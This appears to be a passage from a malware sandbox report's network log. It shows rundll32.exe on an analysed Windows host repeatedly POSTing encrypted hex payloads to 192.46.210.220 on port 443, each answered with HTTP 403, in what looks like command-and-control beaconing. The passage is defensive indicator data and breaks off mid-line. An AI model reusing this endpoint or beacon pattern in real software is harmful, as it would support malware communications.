2021-10-28 02:53:29 UTC	377	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:29 UTC	382	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:29 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.5	50099	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:31 UTC	382	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:31 UTC	382	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:32 UTC	387	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:31 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.5	50103	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:32 UTC	387	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:32 UTC	387	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:33 UTC	392	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:33 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.5	50107	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:35 UTC	392	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:35 UTC	392	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:35 UTC	397	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:35 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49782	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:13 UTC	39	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:13 UTC	39	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:14 UTC	44	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:14 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.5	50111	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:36 UTC	397	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:36 UTC	397	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:37 UTC	402	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:37 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.5	50116	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:39 UTC	402	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:39 UTC	402	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:39 UTC	407	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:39 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.5	50119	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:40 UTC	407	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:40 UTC	407	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:41 UTC	412	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:41 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.5	50123	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:42 UTC	412	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:42 UTC	412	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:43 UTC	417	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:43 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.5	50127	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:44 UTC	417	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:44 UTC	417	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:45 UTC	422	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:45 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.5	50131	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:46 UTC	422	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:46 UTC	422	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:47 UTC	427	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:47 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.5	50135	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:48 UTC	427	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:48 UTC	427	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:49 UTC	432	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:49 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.5	50139	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:50 UTC	432	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:50 UTC	432	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:51 UTC	437	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:51 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.5	50143	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:52 UTC	437	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:52 UTC	437	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:53 UTC	442	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:53 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.5	50147	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:54 UTC	442	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:54 UTC	442	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 